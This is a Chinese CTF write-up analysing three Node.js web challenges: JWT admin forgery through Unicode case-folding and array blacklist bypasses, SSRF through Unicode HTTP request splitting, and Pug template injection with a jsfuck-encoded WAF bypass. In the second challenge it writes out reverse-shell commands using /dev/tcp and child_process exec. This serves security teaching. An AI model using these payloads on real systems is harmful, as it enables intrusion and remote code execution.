最近水了水国际赛(摸鱼选手),两次比赛都出现了node的题目。感觉挺有意思的,拿来分析一下。
- HackTM CTF 2020 - Draw with us
- nullcon HackIM 2020 - split second
- 自己出的 - node game
HackTM CTF 2020 - Draw with us
Come draw with us!
Author: stackola
Hint! Changing your color is the first step towards happiness.
一道nodejs源码审计的题目。只要细心审计就OK的。
首先先分析路由。发现存在/flag,直接跟进,看一下有什么验证。
1 | app.get("/flag", (req, res) => { |
在这里,要求user.id==0,也就是说需要我们去伪造管理员身份。
继续分析,可以发现这题采用了jwt,jwt常见的攻击手法有两类
- 拿到secretkey,进而伪造jwt。(爆破,信息泄露)
- 修改jwt加密头为none。
详见https://xz.aliyun.com/t/2338
在这里,经过尝试都不太行。但是继续分析路由接口。
可以发现init是个后门,serverInfo是个信息泄露,而updateUser是信息泄露利用的关键点。
整体逻辑为:通过updateUser,添加泄露点n,进而通过serverInfo获取信息。然后采用n来利用init这个后门。
接下来继续按刚才的逻辑分析。先来说一下serverInfo。
serverInfo将当前用户有权限的信息打印出来,其信息是从config里取出。
默认用户没有以上三个信息权限。由此可见p,n为敏感信息。进而去追他的利用链。
可以看到其在init中被调用,其md5值为target。然后和我们传入构造的pwHash作比较。之后执行了清空画板操作。所以猜测只要我们pwHash构造出来与target相等,即可伪造管理员。
继续往下看,可以看到113行这里,通过pwHash进而得到adminId,然后再121行返回admin的token。这正是我们想要的。
分析114,可以发现是将pwHash逐位于target做异或,然后累加,最终得到的即为adminId。
即我们要构造pwHash==target即可让adminId=0
此时逻辑已经清楚,那么我们如何得到n?
继续回到updateUser,想办法将n加入到我们的权限中。
分析updateUser,可以发现,其判断是否为admin,通过uid得到user对象,进而对username转化为小写作比较。
那我们是不是可以通过注册大写字母用户绕过?不存在的。在注册的时候,就已经对用户名做限制了。
此时有一个很奇怪的点。他们一个验证用的大写,一个验证小写。中间会不会出问题呢?也就是我们构造一个字符,符合下面条件
1 | username.toUpperCase() !== "hacktm".toUpperCase() |
其实是可以的,在字符转换中,有些奇奇怪怪的字符,也是会被转换的。
比如:在toUpperCase()函数中,字符ı
会转变为I
,字符ſ
会变为S
。在toLowerCase()函数中,字符İ
会转变为i
,字符K
会转变为k
。
此时我们便可构造hacKtm
来绕过。
紧接着往下,我们可以发现185行,对权限做了黑名单校验。禁止我们加入n的权限。在这里,可以直接通过数组绕过。将p放到数组里。
至此,这道题基本已经OK了,接下来就是利用。
- 注册
hacKtm
用户 - 调用updateUser接口。
1 | {"color": "0xDEDBEE", "rights": [["n"]]} |
- 调用serverInfo接口,获取n
- 调用init接口,传入p=n,q=1
1 | POST /init |
- 拿到返回token,置入cookie中,请求/flag接口
nullcon HackIM 2020 - split second
Split that Shit
http://web2.ctf.nullcon.net:8081/源码:https://github.com/nullcon/hackim-2020/tree/master/web/split_second
打开题目,可以审查元素发现第一个hint。
然后http://web2.ctf.nullcon.net:8081/source
拿到源码,开始代码审计之旅。
分析题目,可以发现主页基本没什么东西,而是通过请求/core
这个接口,来获取内容,并添加至主页。
还是从源码入手。可以发现/core
接口是直接请求/getMeme
接口,获取到数据。此时传入了q参数。
然后可以发现存在/flag
接口,分析后,可以发现是个后门。并且需要本地访问。
根据以上信息,我们可以推断出,利用/core
接口,造成ssrf,进而访问/flag
后门,获取flag。
那问题来了,我们如何去得到一个ssrf?/core
中,我们可以操控的点只有参数q。
经过查询资料,最终发现其实题目名称就是一个hint。有一种攻击方式是:拆分请求来实现的SSRF攻击。
可以参考:
在这里就不细说了。
其实可以与CRLF注入类比一下。在这里,也是通过构造换行,来结束前一个请求,并构造出下一个请求。下面就是我们q的参数。我们只要成功注入,便会多一个发往flag的请求。
1 | x HTTP/1.1\r\n\r\nGET /flag HTTP/1.1\r\nadminauth: secretpassword\r\npug: #{xxx}\r\n |
1 | GET /core?q=x |
在nodejs中,其实对换行操作做了处理,但是在node8及以下,在处理unicode字符存在问题。可以导致换行符出现。具体可以看上面文章
我们可以构造如下样子,来造出换行符
1 | http://example.com/\u{010D}\u{010A}/test |
可以通过以下js脚本,来进行编码。
1 |
|
然后可以本地尝试以下。是否发出了两次请求。
由于原题目没有日志,我们修改源码,可以开启一下日志。添加如下两行即可。(记得npm install morgan
)
1 | var morgan = require('morgan'); |
至此,ssrf已经get。接下来分析/flag
接口。
可以看到,其传入了两个参数,都是以headers的形式。
adminauth是一个密码,pug则是我们要渲染的模板内容。
了解过ssti的同学一定不陌生模板这个东西。
在nodejs中,pug是一个模板引擎。其表达式形式为#{}
(#因为其在url中特殊用途,所以需要按如上方式再次编码。)
我们只需构造我们的代码,来获取flag即可。
在这里我又陷入了一个深坑。
nodejs 的exec默认采用sh执行,而sh在不同系统指向也不同,主要分为bash和dash,如果在dash中执行以下命令反弹shell,是会出问题的。
1 | bash -i >& /dev/tcp/10.0.1.98/7777 0>&1 |
具体可参考:解决ubuntu反弹shell失败的问题
解决方法:
1 | bash -c "bash -i >& /dev/tcp/evalip/2202 0>&1" |
然后构造nodejs的反弹shell即可。
1 | global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/evalip/2202 0>&1"') |
在pug模板中,不能直接用require,所以我们采用如上方式。
此时审查代码,可以发现这里有2个waf。
分别是,禁止列表内元素,以及禁止小写字母出现。
刚入门CTF时,大家可能都接触过,jsfuck,aaencode,jjencode,在这里,我分析以上三种编解码后,采取了jsfuck。
虽然jsfuck中存在!
,但是我们根绝相关文档,可以将其替换为数字。
jsfuck在线编码
其实有!号含义,主要有以下几种。我们可以一一替换一下
1 | false => ![] => (1==0) |
然后将我们的反弹shell的payload编码,然后将叹号做如上替换即可。
(先替换true,后替换false)
然后即可。最终payload如下:
1 | // [jscode] 为构造好的js语句 |
赛后看了一下主办方的wp,发现js这里编码很简单。自己搞的有点复杂了。字符太多了。学到了一个新姿势
1 |
|
所以我们可以通过以上编码来进行绕过。此时因为引号在waf中,但这个waf我们可以直接二次url编码绕过。
再有,通过wp得知,pug模板不止#{}
一种方式,还可以直接- code
。
至此,本题所有知识点都已经介绍完。学到了很多新姿势。
自己出的 - node game
最近恰逢永信举办公益赛,出题没有太好的思路,恰好这两天比赛学到了点好玩的。
在比赛时,看到可以通过ssrf构造header头,便开始想了,可不可以构造上传呢?
当然是可以的,于是便有了这道题目。
在这道题目中,遇到了一个小问题,就是构造好payload后,无法正常使用。node端一直报无法获取参数、此时就很迷。
最后解决方式,是通过wireshark抓取loopback数据包,可以看到以下情况。
我们可以发现有些字符依旧是url编码。我们需要将它再重编码一下。
最后可得正确payload。
1 | # exp.py |